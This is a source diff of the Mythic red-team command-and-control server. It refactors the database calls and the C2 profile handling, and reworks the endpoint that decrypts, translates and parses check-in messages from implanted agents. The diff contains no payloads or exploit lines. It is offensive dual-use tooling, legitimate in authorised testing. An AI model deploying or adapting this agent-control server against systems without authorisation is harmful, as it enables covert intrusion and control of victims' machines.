-async def sync_container_file_for_c2_profile(request, profile, user):
- if user["auth"] not in ["access_token", "apitoken"]:
- abort(
- status_code=403,
- message="Cannot access via Cookies. Use CLI or access via JS in browser",
- )
- try:
- if user["view_mode"] == "spectator":
- return json(
- {"status": "error", "error": "Spectators cannot sync containers"}
- )
- query = await db_model.c2profile_query()
- c2profile = await db_objects.get(query, id=profile)
- except Exception as e:
- print(e)
- return json({"status": "error", "error": "failed to find C2 Profile"})
- try:
- status = await send_c2_rabbitmq_message(
- c2profile.name, "sync_classes", "", user["username"]
- )
- return json(status)
- except Exception as e:
- return json({"status": "error", "error": "failed finding the file: " + str(e)})
-
-
@mythic.route(mythic.config["API_BASE"] + "/c2profiles/", methods=["PUT"])
@inject_user()
@scoped(
@@ -396,8 +372,7 @@ async def update_c2_profile(request, profile, user):
return json(
{"status": "error", "error": "Spectators cannot modify c2 profiles"}
)
- query = await db_model.c2profile_query()
- c2profile = await db_objects.get(query, id=profile)
+ c2profile = await app.db_objects.get(db_model.c2profile_query, id=profile)
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to find C2 Profile"})
@@ -408,8 +383,8 @@ async def update_c2_profile(request, profile, user):
if not c2profile.container_running:
c2profile.running = False
await send_all_operations_message(message=f"C2 Profile {c2profile.name} has stopped",
- level="info")
- await db_objects.update(c2profile)
+ level="info", source="update_c2_profile")
+ await app.db_objects.update(c2profile)
return json(c2profile.to_json())
except Exception as e:
return json({"status": "error", "error": "failed finding the file: " + str(e)})
@@ -439,10 +414,8 @@ async def save_c2profile_parameter_value_instance(request, info, user):
"error": "Spectators cannot save c2 profile instances",
}
)
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.c2profile_query()
- profile = await db_objects.get(query, id=info)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ profile = await app.db_objects.get(db_model.c2profile_query, id=info)
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to get the c2 profile"})
@@ -453,16 +426,18 @@ async def save_c2profile_parameter_value_instance(request, info, user):
"error": "must supply an instance name for these values",
}
)
- query = await db_model.c2profileparameters_query()
- params = await db_objects.execute(
- query.where(C2ProfileParameters.c2_profile == profile)
+ params = await app.db_objects.execute(
+ db_model.c2profileparameters_query.where(
+ (C2ProfileParameters.c2_profile == profile) &
+ (C2ProfileParameters.deleted == False)
+ )
)
created_params = []
for p in params:
try:
if p.parameter_type in ['Array', 'Dictionary']:
data[p.name] = js.dumps(data[p.name])
- created = await db_objects.create(
+ created = await app.db_objects.create(
C2ProfileParametersInstance,
c2_profile_parameters=p,
instance_name=data["instance_name"],
@@ -473,7 +448,7 @@ async def save_c2profile_parameter_value_instance(request, info, user):
created_params.append(created)
except Exception as e:
for c in created_params:
- await db_objects.delete(c)
+ await app.db_objects.delete(c)
return json(
{
"status": "error",
@@ -497,14 +472,12 @@ async def get_all_c2profile_parameter_value_instances(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to get the current operation"})
- query = await db_model.c2profileparametersinstance_query()
- params = await db_objects.execute(
- query.where(
+ params = await app.db_objects.execute(
+ db_model.c2profileparametersinstance_query.where(
(C2ProfileParametersInstance.operation == operation)
& (C2ProfileParametersInstance.instance_name != None)
)
@@ -532,16 +505,13 @@ async def get_specific_c2profile_parameter_value_instances(request, info, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.c2profile_query()
- profile = await db_objects.get(query, id=info)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ profile = await app.db_objects.get(db_model.c2profile_query, id=info)
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to get the c2 profile"})
- query = await db_model.c2profileparametersinstance_query()
- params = await db_objects.execute(
- query.where(
+ params = await app.db_objects.execute(
+ db_model.c2profileparametersinstance_query.where(
(C2ProfileParametersInstance.operation == operation)
& (C2ProfileParametersInstance.instance_name != None)
)
@@ -579,11 +549,9 @@ async def delete_c2profile_parameter_value_instance(request, instance_name, user
)
name = unquote_plus(instance_name)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.c2profileparametersinstance_query()
- params = await db_objects.execute(
- query.where(
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ params = await app.db_objects.execute(
+ db_model.c2profileparametersinstance_query.where(
(C2ProfileParametersInstance.instance_name == name)
& (C2ProfileParametersInstance.operation == operation)
& (C2ProfileParametersInstance.payload == None)
@@ -592,7 +560,7 @@ async def delete_c2profile_parameter_value_instance(request, instance_name, user
)
parameters_found = False
for p in params:
- await db_objects.delete(p)
+ await app.db_objects.delete(p)
parameters_found = True
if parameters_found:
return json({"status": "success"})
@@ -608,17 +576,14 @@ async def import_c2_profile_func(data, operator):
try:
if "author" not in data:
data["author"] = operator.username
- query = await db_model.c2profile_query()
- profile = await db_objects.get(query, name=data["name"])
+ profile = await app.db_objects.get(db_model.c2profile_query, name=data["name"])
profile.description = data["description"]
profile.author = data["author"]
if "is_p2p" in data:
profile.is_p2p = data["is_p2p"]
if "is_server_routed" in data:
profile.is_server_routed = data["is_server_routed"]
- if "mythic_encrypts" in data:
- profile.mythic_encrypts = data["mythic_encrypts"]
- await db_objects.update(profile)
+ await app.db_objects.update(profile)
except Exception as e:
# this means the profile doesn't exit yet, so we need to create it
new_profile = True
@@ -626,28 +591,26 @@ async def import_c2_profile_func(data, operator):
data["is_p2p"] = False
if "is_server_routed" not in data:
data["is_server_routed"] = False
- if "mythic_encrypts" not in data:
- data["mythic_encrypts"] = True
- profile = await db_objects.create(
+ profile = await app.db_objects.create(
C2Profile,
name=data["name"],
description=data["description"],
author=data["author"],
- mythic_encrypts=data["mythic_encrypts"],
is_p2p=data["is_p2p"],
is_server_routed=data["is_server_routed"],
)
# print("Created new c2 profile: {}".format(data['name']))
- query = await db_model.c2profileparameters_query()
- curr_parameters = await db_objects.execute(
- query.where(db_model.C2ProfileParameters.c2_profile == profile)
+ curr_parameters = await app.db_objects.execute(
+ db_model.c2profileparameters_query.where(
+ (db_model.C2ProfileParameters.c2_profile == profile) &
+ (db_model.C2ProfileParameters.deleted == False)
+ )
)
curr_parameters_dict = {c.name: c for c in curr_parameters}
for param in data["params"]:
try:
- query = await db_model.c2profileparameters_query()
- c2_profile_param = await db_objects.get(
- query, name=param["name"], c2_profile=profile
+ c2_profile_param = await app.db_objects.get(
+ db_model.c2profileparameters_query, name=param["name"], c2_profile=profile
)
c2_profile_param.name = param["name"]
c2_profile_param.default_value = param["default_value"]
@@ -657,9 +620,11 @@ async def import_c2_profile_func(data, operator):
c2_profile_param.required = param["required"]
c2_profile_param.parameter_type = param["parameter_type"]
c2_profile_param.verifier_regex = param["verifier_regex"]
- await db_objects.update(c2_profile_param)
+ c2_profile_param.crypto_type = param["crypto_type"]
+ await app.db_objects.update(c2_profile_param)
except Exception as e:
- await db_objects.create(
+ print(str(e))
+ await app.db_objects.create(
C2ProfileParameters,
c2_profile=profile,
name=param["name"],
@@ -670,10 +635,12 @@ async def import_c2_profile_func(data, operator):
required=param["required"],
parameter_type=param["parameter_type"],
verifier_regex=param["verifier_regex"],
+ crypto_type=param["crypto_type"]
)
curr_parameters_dict.pop(param["name"], None)
# print("Associated new params for profile: {}-{}".format(param['name'], data['name']))
# anything left in curr_parameters_dict we need to delete
for k, v in curr_parameters_dict.items():
- await db_objects.delete(v, recursive=True)
- return {"status": "success", "new": new_profile, **profile.to_json()}
+ v.deleted = True
+ await app.db_objects.update(v)
+ return {"status": "success", "new": new_profile, **profile.to_json(), "profile": profile}
diff --git a/mythic-docker/app/api/callback_api.py b/mythic-docker/app/api/callback_api.py
index 6db91b25f..f0261ed5d 100755
--- a/mythic-docker/app/api/callback_api.py
+++ b/mythic-docker/app/api/callback_api.py
@@ -1,38 +1,37 @@
-from app import mythic, db_objects, keep_logs
-from sanic.response import json, text
+from app import mythic
+import app
+from sanic.response import json, raw
from app.database_models.model import (
Callback,
Task,
LoadedCommands,
PayloadCommand,
- Command,
)
from sanic_jwt.decorators import scoped, inject_user
import app.database_models.model as db_model
from sanic.exceptions import abort
from math import ceil
-import requests
+import aiohttp
import base64
from sanic.log import logger
import ujson as js
import app.crypto as crypt
-from app.api.task_api import get_agent_tasks
+from app.api.task_api import get_agent_tasks, update_edges_from_checkin
from app.api.response_api import post_agent_response
from app.api.file_api import download_agent_file
-from app.api.crypto_api import staging_rsa, staging_dh
+from app.api.crypto_api import staging_rsa
from app.api.operation_api import send_all_operations_message
+from app.api.rabbitmq_api import MythicBaseRPC
import urllib.parse
from datetime import datetime
from dijkstar import Graph, find_path
from dijkstar.algorithm import NoPathError
-import subprocess
-from asyncio import sleep
-from _collections import deque
import threading
-from time import sleep as tsleep
import socket
from app.api.siem_logger import log_to_siem
import sys
+import asyncio
+import uuid
@mythic.route(mythic.config["API_BASE"] + "/callbacks/", methods=["GET"])
@@ -47,300 +46,455 @@ async def get_all_callbacks(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
if user["current_operation"] != "":
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.callback_query()
- callbacks = await db_objects.execute(
- query.where(Callback.operation == operation)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ callbacks = await app.db_objects.prefetch(
+ db_model.callback_query.where(Callback.operation == operation),
+ db_model.callbacktoken_query
)
return json([c.to_json() for c in callbacks])
else:
return json([])
-# format of cached_keys:
-# {
-# "type": None or string type,
-# "enc_key": None or raw bytes of encryption key
-# "dec_key": None or raw bytes of decryption key
-# }
+@mythic.route(mythic.config["API_BASE"] + "/callbacks//edges", methods=["GET"])
+@inject_user()
+@scoped(
+ ["auth:user", "auth:apitoken_user"], False
+) # user or user-level api token are ok
+async def get_all_edges_for_callback(request, user, eid):
+ if user["auth"] not in ["access_token", "apitoken"]:
+ abort(
+ status_code=403,
+ message="Cannot access via Cookies. Use CLI or access via JS in browser",
+ )
+ if user["current_operation"] != "":
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ callback = await app.db_objects.get(db_model.callback_query, id=eid, operation=operation)
+ edges = await app.db_objects.execute(db_model.callbackgraphedge_query.where(
+ (db_model.CallbackGraphEdge.source == callback) |
+ (db_model.CallbackGraphEdge.destination == callback)
+ ))
+ edge_info = []
+ for edge in edges:
+ if edge.c2_profile.is_p2p:
+ info = edge.to_json()
+ c2instances = await app.db_objects.execute(db_model.c2profileparametersinstance_query.where(
+ (db_model.C2ProfileParametersInstance.callback == edge.destination) &
+ (db_model.C2ProfileParametersInstance.c2_profile == edge.c2_profile)
+ ))
+ info["c2_parameters"] = [{"name": c.c2_profile_parameters.name, "value": c.value} for c in c2instances]
+ edge_info.append(info)
+ return json(edge_info)
+ else:
+ return json([])
+
+
cached_keys = {}
+translator_rpc = MythicBaseRPC()
@mythic.route(mythic.config["API_BASE"] + "/agent_message", methods=["GET", "POST"])
async def get_agent_message(request):
# get the raw data first
+ profile = None
+ data = None
+ request_url = request.headers['x-forwarded-url'] if 'x-forwarded-url' in request.headers else request.url
+ request_ip = request.headers['x-forwarded-for'] if 'x-forwarded-for' in request.headers else request.ip
+ if "Mythic" in request.headers:
+ profile = request.headers["Mythic"]
+ else:
+ error_message = f"Failed to find Mythic header in headers: \n{request.headers}\nConnection to: "
+ error_message += f"{request_url} via {request.method}\nFrom: "
+ error_message += f"{request_ip}\n"
+ error_message += f"With query string: {request.headers['x-forwarded-query'] if 'x-forwarded-query' in request.headers else request.query_string}"
+ asyncio.create_task(send_all_operations_message(
+ message=error_message,
+ level="warning", source="get_agent_message_mythic_header:" + request_ip))
+ return raw(b"", 404)
if request.body != b"":
data = request.body
# print("Body: " + str(data))
elif len(request.cookies) != 0:
- keys = request.cookies.items()
- data = request.cookies[keys[0]]
+ for key, val in request.cookies.items():
+ if data is None:
+ data = val
# print("Cookies: " + str(data))
elif len(request.query_args) != 0:
data = urllib.parse.unquote(request.query_args[0][1])
# print("Query: " + str(data))
else:
- query = await db_model.operation_query()
- operations = await db_objects.execute(query)
- for o in operations:
- await db_objects.create(
- db_model.OperationEventLog,
- operation=o,
- level="warning",
- message=f"Failed to find message in body, cookies, or query args from {request.socket} as {request.method} method with headers:\n {request.headers}",
+ error_message = f"Failed to find message in body, cookies, or query args\nConnection to: "
+ error_message += f"{request_url} via {request.method}\nFrom: "
+ error_message += f"{request_ip}\n"
+ error_message += f"With query string: {request.headers['x-forwarded-query'] if 'x-forwarded-query' in request.headers else request.query_string}\n"
+ error_message += f"With extra headers: {request.headers}"
+ asyncio.create_task(send_all_operations_message(
+ message=error_message,
+ level="warning", source="get_agent_message_body" + request_ip))
+ return raw(b"", 404)
+ if app.debugging_enabled:
+ await send_all_operations_message(message=f"Parsing agent message - step 1 (get data): \n{data}", level="info", source="debug")
+ message, code, new_callback, msg_uuid = await parse_agent_message(data, request, profile)
+ return raw(message, code)
+
+
+async def get_payload_c2_info(payload_uuid=None, payload=None):
+ if payload_uuid is not None:
+ payload = await app.db_objects.get(db_model.payload_query, uuid=payload_uuid)
+ c2_profiles = await app.db_objects.execute(
+ db_model.payloadc2profiles_query.where(db_model.PayloadC2Profiles.payload == payload)
+ )
+ c2info = {}
+ for c in c2_profiles:
+ c2info[c.c2_profile.name] = {
+ "is_p2p": c.c2_profile.is_p2p,
+ "mythic_encrypts": payload.payload_type.mythic_encrypts,
+ "translation_container": payload.payload_type.translation_container.name if payload.payload_type.translation_container is not None else None,
+ "profile": c.c2_profile.name,
+ "payload": payload
+ }
+ c2_params = await app.db_objects.execute(
+ db_model.c2profileparametersinstance_query.where(
+ (db_model.C2ProfileParametersInstance.payload == payload) &
+ (db_model.C2ProfileParametersInstance.c2_profile == c.c2_profile)
)
- return text("", 404)
- message, code, new_callback, msg_uuid = await parse_agent_message(data, request)
- return text(message, code)
- # return text(await parse_agent_message(data, request))
-
-
-async def get_encryption_data(UUID):
+ )
+ for cp in c2_params:
+ # loop through all of the params associated with the payload and find ones that are crypt_type
+ # currently doesn't really make sense to have more than one crypto_type parameter for this purpose
+ # in a single c2 profile
+ if cp.c2_profile_parameters.crypto_type:
+ c2info[c.c2_profile.name] = {**c2info[c.c2_profile.name],
+ "enc_key": bytes(cp.enc_key) if cp.enc_key is not None else None,
+ "type": cp.value,
+ "dec_key": bytes(cp.dec_key) if cp.dec_key is not None else None,
+ "stage": "payload",
+ "profile": c.c2_profile.name,
+ "payload": payload
+ }
+ if "enc_key" not in c2info[c.c2_profile.name]:
+ # we didn't find a crypto_type parameter that matched something mythic knows where mythic
+ # was also supposed to encrypt
+ c2info[c.c2_profile.name] = {**c2info[c.c2_profile.name],
+ "enc_key": None,
+ "type": "",
+ "dec_key": None,
+ "stage": "payload",
+ "profile": c.c2_profile.name,
+ "payload": payload
+ }
+ return c2info
+
+
+async def get_encryption_data(UUID: str, profile: str):
# this function tries to retrieve a cached key for a given UUID
# if the key doesn't exist, it queries the database for the key to use if one exists
- if UUID not in cached_keys:
+ if UUID not in cached_keys or profile not in cached_keys[UUID]:
# we need to look up the key to see if it exists
try:
# first check to see if it's some staging piece
- query = await db_model.staginginfo_query()
- staging_info = await db_objects.get(query, staging_uuid=UUID)
+ staging_info = await app.db_objects.get(db_model.staginginfo_query, staging_uuid=UUID)
+ c2info = await get_payload_c2_info(payload_uuid=None, payload=staging_info.payload)
+ cached_keys[staging_info.payload.uuid] = c2info
cached_keys[UUID] = {
- "enc_key": base64.b64decode(staging_info.session_key),
- "type": "AES256",
- "dec_key": base64.b64decode(staging_info.session_key),
+ profile: {
+ "enc_key": bytes(staging_info.enc_key) if staging_info.enc_key is not None else None,
+ "type": staging_info.crypto_type,
+ "dec_key": bytes(staging_info.dec_key) if staging_info.dec_key is not None else None,
+ "stage": "staging",
+ "is_p2p": c2info[profile]["is_p2p"],
+ "translation_container": staging_info.payload.payload_type.translation_container.name if staging_info.payload.payload_type.translation_container is not None else None,
+ "mythic_encrypts": staging_info.payload.payload_type.mythic_encrypts,
+ "profile": profile,
+ "payload": staging_info.payload
+ }
}
- return cached_keys[UUID]
+
except Exception as a:
# if it's not a staging key, check if it's a payload uuid and get c2 profile AESPSK
try:
- query = await db_model.payload_query()
- payload = await db_objects.get(query, uuid=UUID)
- # a payload may or may not have an AESPSK parameter/key
- try:
- query = await db_model.payloadc2profiles_query()
- c2_profiles = await db_objects.execute(
- query.where(db_model.PayloadC2Profiles.payload == payload)
- )
- for c in c2_profiles:
- if c.c2_profile.mythic_encrypts is False and not c.c2_profile.is_p2p:
- cached_keys[UUID] = {
- "enc_key": None,
- "type": None,
- "dec_key": None,
- }
- return cached_keys[UUID]
- query = await db_model.c2profileparametersinstance_query()
- c2_params = await db_objects.execute(
- query.where(
- db_model.C2ProfileParametersInstance.payload == payload
- )
- )
- for cp in c2_params:
- # loop through all of the params associated with the payload and find one with a key "AESPSK"
- if cp.c2_profile_parameters.name == "AESPSK":
- if cp.value == "":
- cached_keys[UUID] = {
- "enc_key": None,
- "type": None,
- "dec_key": None,
- }
- else:
- cached_keys[UUID] = {
- "enc_key": base64.b64decode(cp.value),
- "type": "AES256",
- "dec_key": base64.b64decode(cp.value),
- }
- return cached_keys[UUID]
- except Exception as d:
- cached_keys[UUID] = {"enc_key": None, "type": None, "dec_key": None}
- return cached_keys[UUID]
- if UUID not in cached_keys:
- # if we get to this point, we found it as a payload that doesn't have an AESPSK parameter, so set it to nonne
- cached_keys[UUID] = {"enc_key": None, "type": None, "dec_key": None}
- return cached_keys[UUID]
+ payload = await app.db_objects.get(db_model.payload_query, uuid=UUID)
+ if payload.deleted:
+ await send_all_operations_message(operation=payload.operation,
+ level="warning",
+ source="deleted_payload_checking_in" + payload.uuid,
+ message=f"Deleted payload trying to spawn callback - {js.dumps(payload.to_json(), indent=4)}")
+ raise Exception(FileNotFoundError)
+ cached_keys[UUID] = await get_payload_c2_info(None, payload)
except Exception as b:
- # finally check to see if it's agent checking in
+ # finally check to see if it's an agent checking in
try:
- query = await db_model.callback_query()
- callback = await db_objects.get(query, agent_callback_id=UUID)
- query = await db_model.callbackc2profiles_query()
- c2_profiles = await db_objects.execute(
- query.where(db_model.CallbackC2Profiles.callback == callback)
+ callback = await app.db_objects.prefetch(db_model.callback_query.where(db_model.Callback.agent_callback_id == UUID),
+ db_model.callbacktoken_query)
+ callback = list(callback)[0]
+ c2_profiles = await app.db_objects.execute(
+ db_model.callbackc2profiles_query.where(db_model.CallbackC2Profiles.callback == callback)
)
+ c2info = {}
for c in c2_profiles:
- if c.c2_profile.mythic_encrypts is False:
- cached_keys[UUID] = {
- "enc_key": None,
- "type": None,
- "dec_key": None,
- }
- return cached_keys[UUID]
- if callback.decryption_key is not None:
- cached_keys[UUID] = {
- "dec_key": base64.b64decode(callback.decryption_key),
- "type": callback.encryption_type,
- "enc_key": base64.b64decode(callback.encryption_key),
+ c2info[c.c2_profile.name] = {
+ "is_p2p": c.c2_profile.is_p2p,
+ "translation_container": callback.registered_payload.payload_type.translation_container.name if callback.registered_payload.payload_type.translation_container is not None else None,
+ "mythic_encrypts": callback.registered_payload.payload_type.mythic_encrypts,
+ "dec_key": bytes(callback.dec_key) if callback.dec_key is not None else None,
+ "type": callback.crypto_type,
+ "enc_key": bytes(callback.enc_key) if callback.enc_key is not None else None,
+ "stage": "callback",
+ "payload": callback.registered_payload,
+ "profile": c.c2_profile.name,
+ "callback": callback
}
- else:
- cached_keys[UUID] = {
- "enc_key": None,
- "type": None,
- "dec_key": None,
- }
- return cached_keys[UUID]
+ cached_keys[UUID] = c2info
except Exception as c:
- logger.exception(
- "Failed to find UUID in staging, payload's with AESPSK c2 param, or callback"
+ logger.error(
+ "Failed to find UUID in staging, payload's with AESPSK c2 param, or callback: " + UUID
)
raise c
- return cached_keys[UUID]
+ return cached_keys[UUID][profile]
else:
- return cached_keys[UUID]
+ return cached_keys[UUID][profile]
# returns a base64 encoded response message
-async def parse_agent_message(data: str, request):
+async def parse_agent_message(data: str, request, profile: str):
new_callback = ""
agent_uuid = ""
+ request_url = request.headers['x-forwarded-url'] if 'x-forwarded-url' in request.headers else request.url
+ request_ip = request.headers['x-forwarded-for'] if 'x-forwarded-for' in request.headers else request.ip
try:
decoded = base64.b64decode(data)
# print(decoded)
+ if app.debugging_enabled:
+ await send_all_operations_message(message=f"Parsing agent message - step 2 (base64 decode): \n {decoded}", level="info", source="debug")
except Exception as e:
- await send_all_operations_message(f"Failed to base64 decode message: {str(data)}\nfrom {request.socket} as {request.method} method, URL {request.url} and with headers: \n{request.headers}",
- "warning")
+ error_message = f"Failed to base64 decode message\nConnection to: "
+ error_message += f"{request_url} via {request.method}\nFrom: "
+ error_message += f"{request_ip}\n"
+ error_message += f"With extra headers: {request.headers}"
+ asyncio.create_task(send_all_operations_message(message=error_message,
+ level="warning", source="get_agent_message" + request_ip))
return "", 404, new_callback, agent_uuid
try:
- UUID = decoded[:36].decode() # first 36 characters are the UUID
- # print(UUID)
+ try:
+ UUID = decoded[:36].decode() # first 36 characters are the UUID
+ UUID_length = 36
+ # print(UUID)
+ except Exception as e:
+ # if we get here, then we're not looking at a string-based UUID, check if it's a 16B representation
+ UUID = uuid.UUID(bytes_le=decoded[:16])
+ UUID = str(UUID)
+ UUID_length = 16
+ if app.debugging_enabled:
+ await send_all_operations_message(message=f"Parsing agent message - step 3 (get uuid): \n {UUID} with length {str(UUID_length)}", level="info", source="debug")
except Exception as e:
- await send_all_operations_message(f"Failed to get UUID in first 36 bytes for base64 input: {str(data)}\nfrom {request.socket} as {request.method} method, URL {request.url} with headers: \n{request.headers}",
- "warning")
+ error_message = f"Failed to get UUID in first 36 or 16 bytes for base64 input\nConnection to: "
+ error_message += f"{request_url} via {request.method}\nFrom: "
+ error_message += f"{request_ip}\n"
+ error_message += f"With extra headers: {request.headers}\nData: "
+ error_message += f"{str(decoded)}"
+ asyncio.create_task(send_all_operations_message(message= error_message,
+ level="warning", source="get_agent_message" + request_ip))
return "", 404, new_callback, agent_uuid
try:
- enc_key = await get_encryption_data(UUID)
- # print(enc_key)
+ enc_key = await get_encryption_data(UUID, profile)
except Exception as e:
- await send_all_operations_message(f"Failed to correlate UUID to something mythic knows: {UUID}\nfrom {request.socket} as {request.method} method with headers: \n{request.headers}",
- "warning")
+ error_message = f"Failed to correlate UUID, {UUID}, to something mythic knows\nConnection to: "
+ error_message += f"{request_url} via {request.method}\nFrom: "
+ error_message += f"{request_ip}\n"
+ error_message += f"With extra headers: {request.headers}"
+ asyncio.create_task(send_all_operations_message(message= error_message, level="warning",
+ source="get_agent_message_uuid:" + UUID + request_ip))
return "", 404, new_callback, agent_uuid
# now we have cached_keys[UUID] is the right AES key to use with this payload, now to decrypt
+ if enc_key["stage"] == "callback":
+ asyncio.create_task(update_edges_from_checkin(UUID, profile))
decrypted = None
try:
# print(decoded[36:])
- # print(enc_key)
- decrypted = await crypt.decrypt_message(decoded, enc_key)
- #if enc_key["type"] is not None:
- # if enc_key["type"] == "AES256":
- # decrypted = await crypt.decrypt_AES256(
- # data=decoded[36:], key=enc_key["dec_key"]
- # )
- # # print(decrypted)
- # decrypted = js.loads(decrypted)
- #else:
- # decrypted = js.loads(decoded[36:])
+ if enc_key["mythic_encrypts"]:
+ # mythic handles encryption/decryption, but maybe not parsing
+ if enc_key["translation_container"] is None:
+ # format is in standard mythic JSON, so parse the decrypted version normally
+ decrypted = await crypt.decrypt_message(decoded, enc_key, return_json=True, length=UUID_length)
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Parsing agent message - step 4 (mythic decrypted a mythic message): \n{decrypted}", level="info", source="debug")
+ else:
+ decrypted = await crypt.decrypt_message(decoded, enc_key, return_json=False, length=UUID_length)
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Parsing agent message - step 4 (mythic decrypted a message that needs translated): \n{str(decrypted)}", level="info", source="debug")
+ # format isn't standard mythic JSON, after decrypting send to container for processing
+ decrypted, successfully_sent = await translator_rpc.call(message={
+ "action": "translate_from_c2_format",
+ "message": base64.b64encode(decrypted).decode(),
+ "uuid": UUID,
+ "profile": profile,
+ "mythic_encrypts": enc_key["mythic_encrypts"],
+ "enc_key": base64.b64encode(enc_key["enc_key"]).decode() if enc_key["enc_key"] is not None else None,
+ "dec_key": base64.b64encode(enc_key["dec_key"]).decode() if enc_key["dec_key"] is not None else None,
+ "type": enc_key["type"]
+ }, receiver="{}_rpc_queue".format(enc_key["translation_container"]))
+ if decrypted == b"":
+ if successfully_sent:
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to have {enc_key['translation_container']} container process translate_from_c2_format. check the container's logs for error information",
+ level="warning", source="translate_from_c2_format_success", operation=enc_key["payload"].operation))
+ else:
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to have {enc_key['translation_container']} container process translate_from_c2_format because it's offline",
+ level="warning", source="translate_from_c2_format_error", operation=enc_key["payload"].operation))
+ return "", 404, new_callback, agent_uuid
+ else:
+ # we should get back JSON from the translation container
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Parsing agent message - step 4 (translation container returned): \n{decrypted}", level="info", source="debug")
+ decrypted = js.loads(decrypted)
+ else:
+ # mythic doesn't encrypt, so could already be decrypted or require a trip to a container
+ if enc_key["translation_container"] is None:
+ # there's no registered container, so it must be in plaintext
+ decrypted = decoded
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Parsing agent message - step 4 (mythic isn't decrypting and no associated translation container): \n {decrypted}", level="info", source="debug")
+ else:
+ # mythic doesn't encrypt and a container is specified, ship it off to the container for processing
+ decrypted, successfully_sent = await translator_rpc.call(message={
+ "action": "translate_from_c2_format",
+ "message": base64.b64encode(decoded).decode(),
+ "uuid": UUID,
+ "profile": profile,
+ "mythic_encrypts": enc_key["mythic_encrypts"],
+ "enc_key": base64.b64encode(enc_key["enc_key"]).decode() if enc_key["enc_key"] is not None else None,
+ "dec_key": base64.b64encode(enc_key["dec_key"]).decode() if enc_key["dec_key"] is not None else None,
+ "type": enc_key["type"]
+ }, receiver="{}_rpc_queue".format(enc_key["translation_container"]))
+ if decrypted == b"":
+ if successfully_sent:
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to have {enc_key['translation_container']} container process translate_from_c2_format and decrypt. check the container's logs for error information",
+ level="warning", source="translate_from_c2_format_successfully_sent_but_error", operation=enc_key["payload"].operation))
+ else:
+ asyncio.create_task(send_all_operations_message(
+ message=f"Failed to have {enc_key['translation_container']} container process translate_from_c2_format because it's offline.",
+ level="warning", source="translate_from_c2_format_error", operation=enc_key["payload"].operation))
+ return "", 404, new_callback, agent_uuid
+ else:
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Parsing agent message - step 4 (translation container returned): \n {decrypted}", level="info", source="debug", operation=enc_key["payload"].operation)
+ decrypted = js.loads(decrypted)
#print(decrypted)
except Exception as e:
- # print(str(e))
+ logger.warning("callback_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
if decrypted is not None:
msg = str(decrypted)
else:
msg = str(decoded)
- await send_all_operations_message(f"Failed to decrypt/load message with error: {str(e)}\n {str(msg)}\nfrom {request.socket} as {request.method} method with URL {request.url} with headers: \n{request.headers}",
- "warning")
+ asyncio.create_task(send_all_operations_message(message=f"Failed to decrypt/load message with error: {str(sys.exc_info()[-1].tb_lineno) + ' ' + str(e)}\n from {request.method} method with URL {request.url} with headers: \n{request.headers}",
+ level="warning", source="parse_agent_message_decrypt_load", operation=enc_key["payload"].operation))
return "", 404, new_callback, agent_uuid
"""
JSON({
- "action": "", //staging-rsa, staging-dh, staging-psk, get_tasking ...
+ "action": "", //staging-rsa, get_tasking ...
// staging_info stored in db on what step in the process
"...": ... // JSON data relating to the action
"delegates":[
- {"UUID": base64(agentMessage from a forwarded agent)}
+ {"UUID": base64(agentMessage from a forwarded agent),
+ "c2_profile": "name of c2 profile used to connect the two agents"}
]
})
"""
try:
-
if "action" not in decrypted:
- await send_all_operations_message("Missing 'action' in parsed JSON", "warning")
+ asyncio.create_task(send_all_operations_message(message="Error in handling a callback message: Missing 'action' in parsed JSON",
+ level="warning", source="no_action_in_message", operation=enc_key["payload"].operation))
return "", 404, new_callback, agent_uuid
# now to parse out what we're doing, everything is decrypted at this point
# shuttle everything out to the appropriate api files for processing
- #if keep_logs:
- # logger.info("Agent -> Mythic: " + js.dumps(decrypted))
# print(decrypted)
response_data = {}
+ if app.debugging_enabled:
+ await send_all_operations_message(
+ message=f"Parsing agent message - step 5 (processing message action): \n {decrypted['action']}",
+ level="info", source="debug", operation=enc_key["payload"].operation)
if decrypted["action"] == "get_tasking":
- query = await db_model.callback_query()
- callback = await db_objects.get(query, agent_callback_id=UUID)
- response_data = await get_agent_tasks(decrypted, callback)
- delegates = await get_routable_messages(callback)
- if delegates is not None:
- response_data["delegates"] = delegates
+ response_data = await get_agent_tasks(decrypted, enc_key["callback"])
+ if "get_delegate_tasks" not in decrypted or decrypted["get_delegate_tasks"] is True:
+ delegates = await get_routable_messages(enc_key["callback"], request)
+ if delegates is not None:
+ response_data["delegates"] = delegates
agent_uuid = UUID
elif decrypted["action"] == "post_response":
- response_data = await post_agent_response(decrypted, UUID)
+ response_data = await post_agent_response(decrypted, enc_key["callback"])
agent_uuid = UUID
elif decrypted["action"] == "upload":
- response_data = await download_agent_file(decrypted, UUID)
+ response_data = await download_agent_file(decrypted, in_response=False)
